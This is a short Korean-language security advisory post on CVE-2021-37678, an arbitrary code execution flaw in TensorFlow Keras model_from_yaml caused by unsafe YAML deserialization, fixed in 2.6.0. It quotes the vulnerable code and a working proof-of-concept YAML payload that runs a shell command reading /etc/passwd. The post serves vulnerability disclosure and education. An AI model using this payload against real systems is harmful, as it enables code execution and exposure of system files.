[하루한줄] CVE-2021-37678: Google TensorFlow의 임의 코드 실행 취약점과 YAML 지원 중단
URL
Arbitrary code execution due to YAML deserialization
Target
- Google TensorFlow < 2.6.0
Explain
TensorFlow는 머신러닝을 지원하는 Google의 오픈소스 플랫폼입니다. TensorFlow의 yaml 지원 모듈에서 역직렬화 취약점으로 인한 임의 코드 실행 취약점이 발견되었고 해당 취약점은 CVE-2021-37678로 명명되었습니다.
TensorFlow의 Keras 모델 model_from_yaml
함수는 yaml 파일을 로드해 역직렬화를 수행합니다.
@keras_export('keras.models.model_from_yaml')
def model_from_yaml(yaml_string, custom_objects=None):
if yaml is None:
raise ImportError('Requires yaml module installed (`pip install pyyaml`).')
try:
# PyYAML 5.x+
config = yaml.unsafe_load(yaml_string)
except AttributeError:
config = yaml.load(yaml_string)
from tensorflow.python.keras.layers import deserialize # pylint: disable=g-import-not-at-top
return deserialize(config, custom_objects=custom_objects)
해당 함수에서 로드하는 yaml에 대한 검증이 부족해 이를 악용하면 아래 cat /etc/passwd
를 포함하는 페이로드를 model_from_yaml
함수의 매개변수로 전달해 실행하는 PoC와 같이 임의의 코드를 실행할 수 있습니다.
from tensorflow.keras import models
payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''
models.model_from_yaml(payload)
Google은 해당 취약점을 수정하는 커밋에서 YAML 지원을 중단하고 패치를 2.6.0에서 릴리즈함과 동시에 이전 버전에도 backporting 하겠다고 밝혔습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.